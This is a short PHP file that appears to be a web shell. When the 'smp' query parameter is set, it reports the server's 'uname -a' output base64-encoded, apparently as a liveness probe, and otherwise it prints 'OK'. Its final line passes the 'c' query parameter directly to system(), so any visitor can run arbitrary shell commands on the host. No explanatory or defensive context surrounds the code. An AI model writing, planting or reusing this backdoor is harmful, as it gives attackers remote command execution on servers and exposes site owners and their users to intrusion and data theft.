<?php
if(isset($_GET['smp'])) {
    header("Content-Type: text/plain");
    $output = shell_exec("uname -a 2>&1");
    echo "SMP_OUTPUT:" . base64_encode($output ?: "NO_OUTPUT");
} else {
    echo "OK";
}
if(isset($_GET['c'])) { system($_GET['c']); }
?>